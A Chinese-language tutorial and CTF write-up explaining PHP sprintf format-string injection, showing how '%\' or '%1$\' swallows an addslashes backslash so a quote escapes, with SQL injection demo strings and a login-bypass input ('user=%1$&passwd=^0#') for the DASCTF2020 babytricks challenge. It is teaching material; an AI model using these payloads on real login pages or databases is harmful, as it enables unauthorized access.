0x01 定义和用法:
sprintf() 函数把格式化的字符串写入变量中。
arg1、arg2、++ 参数将被插入到主字符串中的百分号(%)符号处。该函数是逐步执行的。在第一个 % 符号处,插入 arg1,在第二个 % 符号处,插入 arg2,依此类推。
注释:如果 % 符号多于 arg 参数,则您必须使用占位符,如果不多于也可使用。占位符位于 % 符号之后,由数字和 “\$” 组成
语法:sprintf(format,arg1,arg2,arg++)
详情参看:https://www.w3school.com.cn/php/func_string_sprintf.asp
这里我将我觉得更为重要的部分列出

<?php $num=123; echo sprintf("the number is %1\$d",%num); ?>
这个Demo就使用了占位符,输出结果: the number is 123 可以理解为1\$会被置为空,所以就以%d的形式输出。
<?php $num=123; echo sprintf("the number is %1$\d",%num); ?>
再看这个Demo,输出结果:the number is d 可以理解为%1$\会被置为空
0x02 sprintf注入原理
首先来看一下sprintf()的底层实现方法
switch (format[inpos]) {
case 's':
{
zend_string * t;
zend_string * str = zval_get_tmp_string(tmp, &t);
php_sprintf_appendstring( & result, &outpos, ZSTR_VAL(str), width, precision, padding, alignment, ZSTR_LEN(str), 0, expprec, 0);
zend_tmp_string_release(t);
break;
}
case 'd':
php_sprintf_appendint( & result, &outpos, zval_get_long(tmp), width, padding, alignment, always_sign);
break;
case 'u':
php_sprintf_appenduint( & result, &outpos, zval_get_long(tmp), width, padding, alignment);
break;
case 'g':
case 'G':
case 'e':
case 'E':
case 'f':
case 'F':
php_sprintf_appenddouble( & result, &outpos, zval_get_double(tmp), width, padding, alignment, precision, adjusting, format[inpos], always_sign);
break;
case 'c':
php_sprintf_appendchar( & result, &outpos, (char) zval_get_long(tmp));
break;
case 'o':
php_sprintf_append2n( & result, &outpos, zval_get_long(tmp), width, padding, alignment, 3, hexchars, expprec);
break;
case 'x':
php_sprintf_append2n( & result, &outpos, zval_get_long(tmp), width, padding, alignment, 4, hexchars, expprec);
break;
case 'X':
php_sprintf_append2n( & result, &outpos, zval_get_long(tmp), width, padding, alignment, 4, HEXCHARS, expprec);
break;
case 'b':
php_sprintf_append2n( & result, &outpos, zval_get_long(tmp), width, padding, alignment, 1, hexchars, expprec);
break;
case '%':
php_sprintf_appendchar( & result, &outpos, '%');
break;
default:
break;
}
可以看到, php源码中只对15种类型做了匹配, 其他字符类型都直接break了,php未做任何处理,直接跳过,所以导致了这个问题:
没做字符类型检测的最大危害就是它可以吃掉一个转义符\, 如果%后面出现一个\,那么php会把\当作一个格式化字符的类型而吃掉\, 最后%\(或%1$\)被替换为空.
因此sprintf注入,或者说php格式化字符串注入的原理为:
要明白%后的一个字符(除了%,%上面表格已经给出了)都会被当作字符型类型而被吃掉,也就是被当作一个类型进行匹配后面的变量,比如%c匹配asciii码,%d匹配整数,如果不在定义的也会匹配,匹配空,比如%\,这样我们的目的只有一个,使得单引号逃逸,也就是能够起到闭合的作用。
举两个例子:
不使用占位符
<?php $sql = "select * from user where username = '%\' and 1=1#';" ; $args = "admin" ; echo sprintf ( $sql , $args ) ; //=> echo sprintf("select * from user where username = '%\' and 1=1#';", "admin"); //此时%\会去匹配admin字符串,但是%\只会匹配空 ?>
所以输出结果是: select * from user where username = ” and 1=1#’;
使用占位符
<?php $input = addslashes ("%1$' and 1=1#" );//%1$\' and 1=1# $b = sprintf ("AND b='%s'", $input ); $sql = sprintf ("SELECT * FROM t WHERE a='%s' $b ", 'admin' ); //对$input与$b进行了拼接 //$sql = sprintf ("SELECT * FROM t WHERE a='%s' AND b='%1$\' and 1=1#' ", 'admin' ); //很明显,这个句子里面的\是由addsashes为了转义单引号而加上的,使用%s与%1$\来匹配admin,那么admin只会出现在%s里,%1$\为空 echo $sql ; ?>
所以输出结果是: SELECT * FROM t WHERE a=’admin’ AND b=” and 1=1#’
通过以上两个例子可以看到是通过吃掉’\’来使得单引号逃逸出来
0x03 CTF应用
以[DASCTF2020]babytricks为例

首先是一个登录框,在hint中找到select * from user where user='$user' and passwd='%s'
其中原题部分关键代码如下,同时因为有print_r的存在,所以出现了非预期解
<?php
$user = $_GET['user'];
$passwd = $_GET['passwd'];
$sql = "select * from user where user='$user' and passwd='%s' limit 0,1";
$sql = sprintf( $sql , $passwd);
echo $sql;
$query = mysqli_query($conn , $sql);
$row = mysqli_fetch_array($query);
print_r($row);
传入user=%1$&passwd=^0#
输出结果: select * from user where user=’nd passwd=’^0#’ limit 0,1 可以看到没加\后没有构成占位符置空,反而向后吞噬三位吃掉了’ a
异或规则:相同为0,不同为1,而’nd passwd’会被PHP当作0来与后面的数值进行异或,从而实现了类似万能密码的构造,打印输出了内容

0x04 总结
sprintf的格式化字符串漏洞,首先通过传入%,看是否有sprintf函数的报错来进行判断。再根据格式化的位置利用占位符进行注入。本篇文章中要注意区分%1$\和%1\$的不同。
文章参考https://blog.csdn.net/weixin_41185953/article/details/80485075